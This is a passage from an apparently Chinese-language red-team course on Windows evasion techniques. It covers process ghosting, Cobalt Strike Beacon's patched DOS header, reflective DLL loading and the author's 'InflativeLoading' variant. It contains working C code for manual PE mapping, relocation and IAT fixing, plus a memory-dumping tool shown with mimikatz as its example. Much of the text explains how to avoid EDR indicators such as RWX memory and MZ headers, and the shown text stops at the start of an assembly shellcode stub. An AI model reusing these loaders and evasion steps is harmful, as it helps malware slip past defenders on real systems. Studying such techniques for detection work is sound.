[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/xkEuZAtn9cNVk5W8-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/xkEuZAtn9cNVk5W8-image.png)

我们可以在多重化进程和赫帕德平进程的基础上进一步操作，以运行已被删除的可执行文件。在 Windows 上删除文件有几种方式，包括：

1. 使用 **FILE\_SUPERSEDE** 或 **CREATE\_ALWAYS** 标志创建一个新文件来覆盖旧文件
2. 创建或打开文件时设置 **FILE\_DELETE\_ON\_CLOSE** 或 **FILE\_FLAG\_DELETE\_ON\_CLOSE** 标志。
3. 通过调用 **NtSetInformationFile** 并通过 **FileDispositionInformation** 文件信息类设置 **FILE\_DISPOSITION\_INFORMATION** 结构中的 **DeleteFile** 字段为 **TRUE**。

```c
__kernel_entry NTSYSCALLAPI NTSTATUS NtSetInformationFile(
  [in]  HANDLE                 FileHandle,
  [out] PIO_STATUS_BLOCK       IoStatusBlock,
  [in]  PVOID                  FileInformation,
  [in]  ULONG                  Length,
  [in]  FILE_INFORMATION_CLASS FileInformationClass
);
```

Windows 防止映射的可执行文件被修改，一旦文件被映射到一个镜像节中，尝试用 **FILE\_WRITE\_DATA** 打开它将因 **ERROR\_SHARING\_VIOLATION** 错误而失败。通过 **FILE\_DELETE\_ON\_CLOSE**/**FILE\_FLAG\_DELETE\_ON\_CLOSE** 尝试删除会因 **ERROR\_SHARING\_VIOLATION** 错误而失败。**NtSetInformationFile** 需要 **DELETE** 访问权限。即使映射到镜像段的文件被授予了 DELETE 访问权限，NtSetInformationFile(FileDispositionInformation) 也会因 **STATUS\_CANNOT\_DELETE** 错误而失败。通过 **FILE\_SUPERCEDE/CREATE\_ALWAYS** 尝试删除会因 **ACCESS\_DENIED** 而失败。

然而，这种删除限制只在**可执行文件被映射到镜像节后**才生效。这意味着可以创建一个文件，标记它为**删除状态**，将它映射到一个镜像段，关闭文件句柄以完成删除，然后从**无文件的节**创建进程，这便是进程幽灵。

攻击流步骤如下：

1. 创建一个文件
2. 使用 **NtSetInformationFile** 将文件置于**删除挂起**状态。
3. 向文件写入负载可执行文件。由于文件已处于删除挂起状态，内容不会被保留。删除挂起状态也阻止了外部文件打开该文件的尝试
4. 为文件创建一个镜像节
5. 关闭删除挂起的句柄，删除文件
6. 使用镜像节创建一个进程
7. 分配进程参数和环境变量
8. 创建一个线程在进程中执行

在线程创建时调用的回调，发生在文件被删除之后。尝试打开文件或对已删除的文件进行 I/O 操作将因 STATUS\_FILE\_DELETED 错误而失败，在删除完成前尝试打开文件将因 **STATUS\_DELETE\_PENDING** 错误而失败。这种篡改手段也可以应用于 DLL，因为 DLL 也是映射的镜像节。

幽灵进程的实现效果如下：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/WDVvsz2LXIbaCGWh-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/WDVvsz2LXIbaCGWh-image.png)

因为该技术与代码更加复杂，可以参考以下 3 个项目对其的实现：

[https://github.com/hasherezade/process\_ghosting](https://github.com/hasherezade/process_ghosting)

[https://github.com/Wra7h/SharpGhosting/tree/main](https://github.com/Wra7h/SharpGhosting/tree/main)

[https://github.com/dosxuz/ProcessGhosting](https://github.com/dosxuz/ProcessGhosting)

***不幸的是，微软对该技术发布了补丁，因此对于 Windows 11 以及较新版本的 Windows 10 不再生效。***

#### **总结**

总结一下，这 3 项对进程进行模仿与操纵的技术有着相似的想法，也有着不同的工作流，如下所示：

<table id="bkmrk-%E7%B1%BB%E5%9E%8B-%E6%8A%80%E6%9C%AF-%E5%A4%9A%E9%87%8D%E8%BF%9B%E7%A8%8B-%E4%BA%8B%E5%8A%A1--%3E-%E5%86%99--" style="width: 103.951%;"><tbody><tr><td style="width: 23.6069%;">**类型**

</td><td style="width: 76.3684%;">**技术**

</td></tr><tr><td style="width: 23.6069%;">多重进程

</td><td style="width: 76.3684%;">事务 -&gt; 写 -&gt; 映射 -&gt; 回滚 -&gt; 执行

</td></tr><tr><td style="width: 23.6069%;">赫帕德平进程

</td><td style="width: 76.3684%;">写 -&gt; 映射 -&gt; 修改 -&gt; 执行 -&gt; 关闭

</td></tr><tr><td style="width: 23.6069%;">幽灵进程

</td><td style="width: 76.3684%;">删除挂起中 -&gt; 写 -&gt; 映射 -&gt; 关闭(删除) -&gt; 执行

</td></tr></tbody></table>

# 反射式加载与膨胀式加载

CobaltStrike 的 Beacon，实际上是一个 DLL。Shellcode 形式的 Beacon，是补丁后的 DLL 文件。通过巧妙的补丁，Beacon 可以实现像 Shellcode 一般的位置独立。我们分别生成 DLL 与 RAW 格式的载荷，进行对比：

DLL 格式的 Beacon，符合典型的 PE 文件格式。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/a2wI8pmrQPURijfB-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/a2wI8pmrQPURijfB-image.png)

对于 Shellcode 格式的 Beacon，我们发现其实际上是个补丁后的 DLL 文件，因为其格式符合 PE 格式标准

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/Ocd5Aoi9ggmdjlq7-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/Ocd5Aoi9ggmdjlq7-image.png)

我们甚至能解析出导出函数 ReflectiveLoader。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/19O8CF04fgR58Ob8-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/19O8CF04fgR58Ob8-image.png)

那么，补丁了哪些地方呢？我们仔细对比一下这 2 个文件的 DOS 头，我们会发现 Shellcode 格式的 Beacon(右边) 虽然大体上符合 PE 格式标准，但 DOS 头是补丁过的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/M5Dwyxi3ZvvW56GJ-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/M5Dwyxi3ZvvW56GJ-image.png)

对于 PE 文件，因为 DOS 头并非代码区，所以并不该被解析成机器码执行。因此 DLL 文件的 DOS 头如果被强行解释成汇编指令，代码看起来没有什么实际意义。而右图的 DOS 头被补丁成了精心设计的代码，我们来解读一下：

```
4D 5A					pop r10				# PE Magic Bytes，同时与下面的指令共同平衡栈	
41 52					push r10			# 平衡栈 						
55 						push rbp			# 设置栈帧
48 89 E5 				mov rbp, rsp		
48 81 EC 20 00 00 00 	sub rsp,0x20		
48 8D 1D EA FF FF FF 	lea rbx, [rip-0x16]	# 前移0x16字节从而获得Shellcode地址
48 89 DF 				mov rdi,rbx			
48 81 C3 F4 5F 01 00 	add rbx, 0x15ff4	# 通过硬编码偏移调用ReflectiveLoader导出函数
FF D3 					call rbx
41 B8 F0 B5 A2 56 		mov r8d,0x56a2b5f0	# 调用 DllMain函数
68 04 00 00 00 			push 4
5A 						pop rdx
48 89 F9 				mov rcx, rdi
FF D0 					call rax

```

我们来查看一下硬编码的偏移 **0x15ff4**，对应的 RVA 是 **0x16bf4**，确实正好是导出函数 **ReflectiveLoader** 的地址。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/O45rPTYFmAIRxfdW-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/O45rPTYFmAIRxfdW-image.png)

简单来说，通过补丁 DOS 头，使其成为具有实际意义的 Shellcode 头，实现当 Shellcode 被加载后，执行流程跳转到 ReflectiveLoader 导出函数，最后再执行 DllMain 函数。这样，可以将 DLL 转换为位置独立的 Shellcode。

### **反射式加载**

那么，ReflectiveLoader 函数充当了什么作用？为什么在 DLL 被加载之前，这个导出函数就可以被执行了呢？在回答这些问题之前，我们需要知道 Windows DLL 加载器负责将存在于磁盘中的 DLL 加载到进程的虚拟内存空间。如果用于攻防模拟，Windows DLL 加载器存在着这些缺点：

1. DLL 必须存在于磁盘
2. DLL 不可被混淆
3. DLL 的加载会触发内核回调

所以，直接用 Windows DLL 加载器加载 DLL Beacon 不是最理想的，但如果我们能从内存中加载 Beacon DLL 呢？这么一个概念被称为反射式加载，被 Stephen Fewer 提出并实现([https://github.com/stephenfewer/ReflectiveDLLInjection](https://github.com/stephenfewer/ReflectiveDLLInjection))。反射式加载可以带来以下优势：

1. DLL 不必存在于磁盘，避免文件特征
2. 避免映像文件加载触发的内核回调
3. 我们的DLL 不会被 PEB 罗列

反射式加载即直接从内存中加载 DLL，与传统的 Windows DLL 加载都是将原始文件转换为在进程的虚拟内存中的格式。我们之前得知，当 PE 文件存在于磁盘和内存中时，因为对齐系数的不同，**尺寸**、**原始文件偏移与RVA的映射关系**会略有变化，一般来说在内存中会显得更加膨胀，在磁盘中时更加紧凑。

我们知道，PE 文件有着**偏好加载地址**，尽管实际被加载时，基址不一定与偏好加载地址相同。在 PE 文件中，有一些全局变量的地址是硬编码的(这些数据的地址由**重定向表**追踪)，那么自然也会随着实际加载地址的变化而变化。此外，IAT 表中的条目也会被更新，等等。平时，是由 Windows DLL 加载器帮我们完成了这些，但如果要实现反射式加载，这些任务就落在了我们头上。那么，实现反射式加载有这些步骤：

1. 通过诸如 CreateRemoteThread 直接执行导出函数 ReflectiveLoader，或者像 CobaltStrike 一样补丁 DLL 的 DOS 头使其成为 Shellcode 头，跳转到 ReflectiveLoader。
2. ReflectiveLoader 函数计算出 DLL 的基址，通过不断前移，直到遇到 **MZ**，即 **Magic Bytes**。
3. 通过 **PEB walking** 的方法得到 Kernel32 模块以及一些必要的 API 例如 **LoadLibrary**，**GetProcAddress，VirtualAlloc** 的地址。因为 ReflectiveLoader 函数在 DLL 被加载前就被调用了，所以需要位置独立，即不能使用**全局变量**以及**直接调用 API**。
4. 使用 VirtualAlloc 分配内存空间，用于盛放映射后的 DLL
5. 将 DLL 的各个头以及节复制到分配的内存空间，以及为不同区域设置对应的内存权限
6. 修复 IAT 表。遍历每个导入的 DLL，对于每个 DLL，遍历每个导入函数。根据函数的导入方式(函数序数或名称)，补丁导入函数的地址。
7. 修复重定向表。方法为计算出**实际基址与偏好地址的差值**，然后对于每个硬编码的地址都应用上这个差值。
8. 调用 DllMain 入口函数，DLL 被成功加载至内存中。
9. 如果是通过 Shellcode 头跳转的，那么 ReflectiveLoader 函数调用结束后会返回 Shellcode 头。如果是通过 CreateRemoteThread 调用的，那么线程会结束。

具体的代码实现，可以参考原始项目([https://github.com/stephenfewer/ReflectiveDLLInjection/blob/master/dll/src/ReflectiveLoader.c](https://github.com/stephenfewer/ReflectiveDLLInjection/blob/master/dll/src/ReflectiveLoader.c))

在 PE 小节，我们讲过了导入导出过程，关于重定向表的修复，我们以案例来学习一下：

calc 的偏好地址为 **0x140000000**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/6ifTxLVEuYOrMbRK-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/6ifTxLVEuYOrMbRK-image.png)

calc 有 2 个重定向块，分别有 12 和 2 个条目。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/XiJRfDVwmCoZKe7O-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/XiJRfDVwmCoZKe7O-image.png)

**Page RVA** 与 **Block Size** 分别占 4 个字节，总计 8 个。从第 9 个字节开始，每个条目占用 2 个字节。因此，每个重定向块的尺寸为 **8+2\*条目数量**，这里是 **32 = 8 + 12\*2**。

每个条目中的 WORD 值，我们可以提取出其与**页的偏移值**，加上**页的 RVA**，我们就可以得到**硬编码地址的 RVA**。我们选择一个硬编码的地址，该地址处于 0x2000 的 RVA 处，值为 0x140003060，相对于偏好地址的偏移值为 0x3060。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/sORQTxd8Z7uYPfYc-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/sORQTxd8Z7uYPfYc-image.png)

在 WinDBG 中，当 calc 存在于内存空间时，我们会发现该地址被修复了：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/6S33ZzecA8zz01ZX-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/6S33ZzecA8zz01ZX-image.png)

不过这个地址与映像基址的相对偏移依旧是 **0x3060**。

尽管提供了反射式加载原始项目的代码，但我们再以 Maldev 中的代码来回顾一下一些重难点步骤：

**复制各个节：**

```c
PBYTE			pPeBaseAddress			= NULL;

if ((pPeBaseAddress = VirtualAlloc(NULL, pPeHdrs->pImgNtHdrs->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) == NULL) {
	PRINT_WINAPI_ERR("VirtualAlloc");
	return FALSE;
}

for (int i = 0; i < pPeHdrs->pImgNtHdrs->FileHeader.NumberOfSections; i++) {
	memcpy(
		(PVOID)(pPeBaseAddress + pPeHdrs->pImgSecHdr[i].VirtualAddress),			// Distination: pPeBaseAddress + RVA
		(PVOID)(pPeHdrs->pFileBuffer + pPeHdrs->pImgSecHdr[i].PointerToRawData),		// Source: pPeHdrs->pFileBuffer + RVA
		pPeHdrs->pImgSecHdr[i].SizeOfRawData							// Size
	);
}
```

**修复重定向表：**

```c
BOOL FixReloc(IN PIMAGE_DATA_DIRECTORY pEntryBaseRelocDataDir, IN ULONG_PTR pPeBaseAddress, IN ULONG_PTR pPreferableAddress) {

    // Pointer to the beginning of the base relocation block.
    PIMAGE_BASE_RELOCATION pImgBaseRelocation = (pPeBaseAddress + pEntryBaseRelocDataDir->VirtualAddress);

    // The difference between the current PE image base address and its preferable base address.
    ULONG_PTR uDeltaOffset = pPeBaseAddress - pPreferableAddress;

    // Pointer to individual base relocation entries.
    PBASE_RELOCATION_ENTRY pBaseRelocEntry = NULL;

    // Iterate through all the base relocation blocks.
    while (pImgBaseRelocation->VirtualAddress) {

        // Pointer to the first relocation entry in the current block.
        pBaseRelocEntry = (PBASE_RELOCATION_ENTRY)(pImgBaseRelocation + 1);

        // Iterate through all the relocation entries in the current block.
        while ((PBYTE)pBaseRelocEntry != (PBYTE)pImgBaseRelocation + pImgBaseRelocation->SizeOfBlock) {
            // Process the relocation entry based on its type.
            switch (pBaseRelocEntry->Type) {
	            case IMAGE_REL_BASED_DIR64:
	                // Adjust a 64-bit field by the delta offset.
	                *((ULONG_PTR*)(pPeBaseAddress + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += uDeltaOffset;
	                break;
	            case IMAGE_REL_BASED_HIGHLOW:
	                // Adjust a 32-bit field by the delta offset.
	                *((DWORD*)(pPeBaseAddress + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += (DWORD)uDeltaOffset;
	                break;
	            case IMAGE_REL_BASED_HIGH:
	                // Adjust the high 16 bits of a 32-bit field.
	                *((WORD*)(pPeBaseAddress + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += HIWORD(uDeltaOffset);
	                break;
	            case IMAGE_REL_BASED_LOW:
	                // Adjust the low 16 bits of a 32-bit field.
	                *((WORD*)(pPeBaseAddress + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += LOWORD(uDeltaOffset);
	                break;
	            case IMAGE_REL_BASED_ABSOLUTE:
	                // No relocation is required.
	                break;
	            default:
	                // Handle unknown relocation types.
	                printf("[!] Unknown relocation type: %d | Offset: 0x%08X \n", pBaseRelocEntry->Type, pBaseRelocEntry->Offset);
	                return FALSE;
            }
            // Move to the next relocation entry.
            pBaseRelocEntry++;
        }

        // Move to the next relocation block.
        pImgBaseRelocation = (PIMAGE_BASE_RELOCATION)pBaseRelocEntry;
    }

    return TRUE;
}
```

**修复 IAT 表：**

```c
BOOL FixImportAddressTable(IN PIMAGE_DATA_DIRECTORY pEntryImportDataDir, IN PBYTE pPeBaseAddress) {

	// Pointer to an import descriptor for a DLL
	PIMAGE_IMPORT_DESCRIPTOR	pImgDescriptor		= NULL;
 	// Iterate over the import descriptors
	for (SIZE_T i = 0; i < pEntryImportDataDir->Size; i += sizeof(IMAGE_IMPORT_DESCRIPTOR)) {
		// Get the current import descriptor
		pImgDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(pPeBaseAddress + pEntryImportDataDir->VirtualAddress + i);
		// If both thunks are NULL, we've reached the end of the import descriptors list
		if (pImgDescriptor->OriginalFirstThunk == NULL && pImgDescriptor->FirstThunk == NULL)
			break;

		// Retrieve information from the current import descriptor
		LPSTR		cDllName                        = (LPSTR)(pPeBaseAddress + pImgDescriptor->Name);
		ULONG_PTR	uOriginalFirstThunkRVA          = pImgDescriptor->OriginalFirstThunk;
		ULONG_PTR	uFirstThunkRVA                  = pImgDescriptor->FirstThunk;
		SIZE_T		ImgThunkSize                    = 0x00;	// Used to move to the next function (iterating through the IAT and INT)
		HMODULE		hModule                         = NULL;

		// Try to load the DLL referenced by the current import descriptor
		if (!(hModule = LoadLibraryA(cDllName))) {
			PRINT_WINAPI_ERR("LoadLibraryA");
			return FALSE;
		}

		// Iterate over the imported functions for the current DLL
		while (TRUE) {
			
			// Get pointers to the first thunk and original first thunk data
			PIMAGE_THUNK_DATA               pOriginalFirstThunk     = (PIMAGE_THUNK_DATA)(pPeBaseAddress + uOriginalFirstThunkRVA + ImgThunkSize);
			PIMAGE_THUNK_DATA               pFirstThunk             = (PIMAGE_THUNK_DATA)(pPeBaseAddress + uFirstThunkRVA + ImgThunkSize);
			PIMAGE_IMPORT_BY_NAME           pImgImportByName        = NULL;
			ULONG_PTR                       pFuncAddress            = NULL;

			// At this point both 'pOriginalFirstThunk' & 'pFirstThunk' will have the same values
			// However, to populate the IAT (pFirstThunk), one should use the INT (pOriginalFirstThunk) to retrieve the 
			// functions addresses and patch the IAT (pFirstThunk->u1.Function) with the retrieved address.
			if (pOriginalFirstThunk->u1.Function == NULL && pFirstThunk->u1.Function == NULL) {
				break;
			}

			// If the ordinal flag is set, import the function by its ordinal number
			if (IMAGE_SNAP_BY_ORDINAL(pOriginalFirstThunk->u1.Ordinal)) {
				if ( !(pFuncAddress = (ULONG_PTR)GetProcAddress(hModule, IMAGE_ORDINAL(pOriginalFirstThunk->u1.Ordinal))) ) {
					printf("[!] Could Not Import !%s#%d \n", cDllName, (int)pOriginalFirstThunk->u1.Ordinal);
					return FALSE;
				}
			}
			// Import function by name
			else {
				pImgImportByName = (PIMAGE_IMPORT_BY_NAME)(pPeBaseAddress + pOriginalFirstThunk->u1.AddressOfData);
				if ( !(pFuncAddress = (ULONG_PTR)GetProcAddress(hModule, pImgImportByName->Name)) ) {
					printf("[!] Could Not Import !%s.%s \n", cDllName, pImgImportByName->Name);
					return FALSE;
				}
			}

			// Install the function address in the IAT
			pFirstThunk->u1.Function = (ULONGLONG)pFuncAddress;

			// Move to the next function in the IAT/INT array
			ImgThunkSize += sizeof(IMAGE_THUNK_DATA);
		}
	}

	return TRUE;
}
```

实际上，对于更加复杂的 PE 文件，我们可能还要处理异常表、TLS 回调表、函数参数等，请大家查询相关资料进行探索。

### **膨胀式加载**

反射式加载实现了从内存中加载 DLL，有效地避免了一些 IOC。尽管如此，随着检测技术的升级，反射式加载其实也会留下一些显著的 IOC，我们来分析一下：

1. 分配空间、修改值、复制节、更改权限等这一系列操作很嘈杂
2. 分配 RWX 权限的内存空间是一个红线
3. 从调用栈的角度来看，因为加载的 DLL 并非来源于磁盘，因此没有对应的符号，如下图所示，多个函数都没有**对应的模块**以及**符号**。该内存区域还是**私有**的，意味着很有可能是 Shellcode。这样的内存区域被称为**漂浮代码**，或者**没有支持的内存区域**(unbacked memory)。对这块内存区域进行调查，发现以 **MZ** 开头，那么就可以轻松地确认反射式加载地存在。

```
0:004> k
 # Child-SP          RetAddr               Call Site
00 0000009e`4b3afe58 00000245`d207208d     KERNEL32!SleepEx
01 0000009e`4b3afe60 00000245`d2073260     0x00000245`d207208d
02 0000009e`4b3afe68 00000245`d1cf5580     0x00000245`d2073260
03 0000009e`4b3afe70 00000245`cfdb5d10     0x00000245`d1cf5580
04 0000009e`4b3afe78 0000009e`4b3afe08     0x00000245`cfdb5d10
05 0000009e`4b3afe80 00000245`d2071000     0x0000009e`4b3afe08
06 0000009e`4b3afe88 00000245`d20722c0     0x00000245`d2071000
07 0000009e`4b3afe90 00000245`d2071000     0x00000245`d20722c0
08 0000009e`4b3afe98 00007ffb`c87f0000     0x00000245`d2071000
09 0000009e`4b3afea0 00000000`00000000     ucrtbase!parse_bcp47 <PERF> (ucrtbase+0x0)
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/ygMtfjNLy9xenF0h-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/ygMtfjNLy9xenF0h-image.png)

关于第 3 点，延伸阅读可以参考该文章([https://www.elastic.co/security-labs/hunting-memory](https://www.elastic.co/security-labs/hunting-memory))。上图的案例，我是反射式加载了调用 **SleepEx** 的 PE 文件，用于方便观察调用栈。

除了 IOC，反射式加载也有一些不太便利的地方，例如需要将 Stephen Fewer 的反射式加载项目加入到我们的 DLL 项目中，对于不**太方便获取源代码与编译**的 DLL 有些捉襟见肘。此外，DLL 有着 ReflectiveLoader 的导出函数，如果没有对其进行稍加修改，那么也是一个 IOC。

因此，我提出了膨胀式加载(InflativeLoading)，旨在对反射式加载进行一定的优化，诚然，尽管没有解决反射式加载的所有的问题，例如第 3 点 IOC(可以解决部分)。要彻底解决第 3 点，我们需要配合其他技术，例如 **Module Stomping**([https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection](https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection)) 技术。

膨胀式加载的思路是在 PE 文件前加入一个 **0x1000字节**(一张内存页的尺寸)的 **Shellcode 头**(实际代码后面随便添加数据填充到 0x1000 字节)，使该 PE 文件成为**位置独立的 Shellcode**，有些类似于 CobaltStrike Shellcode 格式 Beacon 的实现，但是**不需要有特定导出函数**，因此对于不太方便获取源码与编译的 PE 文件有了更大的友好。

需要注意的是，这里所说的 PE 文件实际上不是原始 PE 文件，而是其在**内存中的转储**。为什么要这么做呢，之前说了，PE 文件在内存与磁盘中时，尺寸会有所不同，尤其是对于**加过壳的程序**。在反射式加载中，我们是直接一个节一个节复制到分配的内存空间中的，尽管大多数情况下这是没什么问题的，但在特定情况下，尺寸的差异可能会带来非预期的结果。此外，从内存中导出可以不用进行**原始文件偏移**与 **RVA** 的相互转换了，带来计算上的便利。并且，我们也不需要调用 VirtualAlloc 来分配新的内存空间了，因为转储文件就是该 PE 文件在内存中的形式，只是我们依旧需要修复一些数据，例如 IAT 表。

该 Shellcode 头会通过 PEB walking 来**获得所需模块以及函数的地址**，通过偏移**获得 PE 文件的起始地址**，**修复 IAT 表**，**修复重定向表**，**修复延迟导入表**等。因为修复 IAT 表等操作需要对数据进行更新，因此 PE 文件的一些节需要 RW 权限，而 .text 节需要 RX 权限。我们一开始可以先给整个 Shellcode 分配 RW 权限，然后变更 **Shellcode 头**与 **.text 节**区域的权限为 RX，这样可以保证整个 Shellcode 执行无问题。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/5CtMs7zPwcW7lCMs-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/5CtMs7zPwcW7lCMs-image.png)

至于 unbacked memory 的问题，尽管在没有 module stomping 技术的结合下，尚未彻底解决，但是我们避免了 RWX 权限的内存区域，并且 RX 权限的区域并不以 MZ 这个 Magic Bytes 开头，一定程度上加大了调查的难度。

简单总结一下，膨胀式加载相比反射式加载有如下优势：

1. 不需要特定导出函数，对不方便获取源码与编译的 PE 文件更友好
2. 避免因为 PE 文件在磁盘和内存中的差异导致非预期结果
3. 无需进行原始文件偏移与 RVA 的转换
4. 避免了额外的内存空间分配
5. 避免了 RWX 内存区域
6. 即便是 RX 内存区域，也不以 MZ 特征开头，加大了调查难度

那么，怎么用代码实现呢？首先，我们需要得到 PE 文件在内存中的转储，这个很容易实现：

```c
#include <Windows.h>
#include <stdio.h>
#include <winternl.h>


#pragma comment(lib, "ntdll.lib")
#pragma warning(disable:4996)

EXTERN_C NTSTATUS NTAPI NtQueryInformationProcess(
	HANDLE ProcessHandle,
	PROCESSINFOCLASS ProcessInformationClass,
	PVOID ProcessInformation,
	ULONG ProcessInformationLength,
	PULONG ReturnLength
);


BOOL ReadPEFile(LPCSTR lpFileName, PBYTE* pPe, SIZE_T* sPe) {

	HANDLE	hFile = INVALID_HANDLE_VALUE;
	PBYTE	pBuff = NULL;
	DWORD	dwFileSize = NULL,
		dwNumberOfBytesRead = NULL;

	hFile = CreateFileA(lpFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hFile == INVALID_HANDLE_VALUE) {
		printf("[!] CreateFileA Failed With Error : %d \n", GetLastError());
		goto _EndOfFunction;
	}

	dwFileSize = GetFileSize(hFile, NULL);
	if (dwFileSize == NULL) {
		printf("[!] GetFileSize Failed With Error : %d \n", GetLastError());
		goto _EndOfFunction;
	}

	pBuff = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileSize);
	if (pBuff == NULL) {
		printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
		goto _EndOfFunction;
	}

	if (!ReadFile(hFile, pBuff, dwFileSize, &dwNumberOfBytesRead, NULL) || dwFileSize != dwNumberOfBytesRead) {
		printf("[!] ReadFile Failed With Error : %d \n", GetLastError());
		printf("[!] Bytes Read : %d of : %d \n", dwNumberOfBytesRead, dwFileSize);
		goto _EndOfFunction;
	}

	printf("[+] DONE \n");


_EndOfFunction:
	*pPe = (PBYTE)pBuff;
	*sPe = (SIZE_T)dwFileSize;
	if (hFile)
		CloseHandle(hFile);
	if (*pPe == NULL || *sPe == NULL)
		return FALSE;
	return TRUE;
}



DWORD ParsePE(PBYTE pPE)
{
	DWORD size = 0;
	PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pPE;
	if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE) {
		return -1;
	}

	PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pPE + pImgDosHdr->e_lfanew);
	if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE) {
		return -1;
	}

	IMAGE_OPTIONAL_HEADER	ImgOptHdr = pImgNtHdrs->OptionalHeader;
	if (ImgOptHdr.Magic != IMAGE_NT_OPTIONAL_HDR_MAGIC) {
		return -1;
	}

	printf("[+] Size Of The Image : 0x%x \n", ImgOptHdr.SizeOfImage);
	size = ImgOptHdr.SizeOfImage;
	return size;
}





int main(int argc, char* argv[])
{
	PBYTE	pPE = NULL;
	SIZE_T	sPE = NULL;
	if (argc < 3)
	{
		printf("Usage: DumpPEFromMemoryMemory.exe <Native EXE> <Dump File>\nE.g. ReadPEInMemory.exe mimikatz.exe mimikatz.bin\n");
		return -1;
	}
	LPCSTR filename = argv[1];
	char* outputbin = argv[2];

	if (!ReadPEFile(filename, &pPE, &sPE)) {
		return -1;
	}

	DWORD size_of_image = ParsePE(pPE);
	HeapFree(GetProcessHeap(), NULL, pPE);

	STARTUPINFOA si;
	PROCESS_INFORMATION pi;
	ZeroMemory(&si, sizeof(si));
	si.cb = sizeof(si);
	ZeroMemory(&pi, sizeof(pi));

	if (!CreateProcessA(filename, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
		printf("CreateProcess failed (%d).\n", GetLastError());
		return 1;
	}
	printf("Process PID: %lu\n", pi.dwProcessId);
	PROCESS_BASIC_INFORMATION pbi;
	NTSTATUS status = NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL);

	if (status == 0) {
		printf("PEB Address:%p\n", pbi.PebBaseAddress);
		PVOID imageBaseAddress;
		SIZE_T bytesRead;

		ReadProcessMemory(pi.hProcess, (PCHAR)pbi.PebBaseAddress + sizeof(PVOID) * 2, &imageBaseAddress, sizeof(PVOID), &bytesRead);
		printf("Image Base Address:%p\n", imageBaseAddress);

		SIZE_T totalSize = size_of_image;	//Total size of PE image in memory
		const SIZE_T CHUNK_SIZE = 0xb000; // Chunk size for reading and writing
		BYTE buffer[0xb000];	//Number of bytes read each time


		SIZE_T totalBytesRead = 0;

		// Calculate the number of iterations needed
		int numIterations = (totalSize / CHUNK_SIZE) + (totalSize % CHUNK_SIZE ? 1 : 0);

		FILE* file = fopen(outputbin, "ab"); // Open file in append mode
		if (file == NULL) {
			printf("Failed to open %s for writing\n", outputbin);
			exit(1);
		}

		for (int iteration = 0; iteration < numIterations; iteration++) {
			BYTE buffer[CHUNK_SIZE];
			SIZE_T offset = iteration * CHUNK_SIZE;
			SIZE_T sizeToRead = min(CHUNK_SIZE, totalSize - offset);

			if (!ReadProcessMemory(pi.hProcess, (PBYTE)imageBaseAddress + offset, &buffer, sizeToRead, &bytesRead)) {
				printf("Error reading memory: %d\n", GetLastError());
				break;
			}

			fwrite(buffer, 1, bytesRead, file); 
			totalBytesRead += bytesRead;
		}

		fclose(file);
		printf("Data successfully written to %s. Total bytes read: 0x%x\n", outputbin, totalBytesRead);
	}
	else {
		printf("Error");
	}

	if (!TerminateProcess(pi.hProcess, 0)) {
		printf("TerminateProcess failed (%d).\n", GetLastError());
		return 1;
	}

	return 0;
}
```

注意，我们在自己的开发机上运行编译后的该程序，而非目标主机。该代码通过创建新进程来运行指定的程序，不过是**挂起**状态，为了避免运行的程序对我们的开发机造成紊乱。然后分次通过 ReadProcessMemory 读取**主模块**的整个内存空间，并写入本地文件，直到读取与保存完毕。

至于 Shellcode Stub，虽然我们可以用 C 编写 PIC 代码然后提取出 Shellcode，不过我们还是直接写汇编代码来加强理解。

**1：获得模块与函数的地址**

我们复用一下之前的 Shellcode：

```python
"start:"
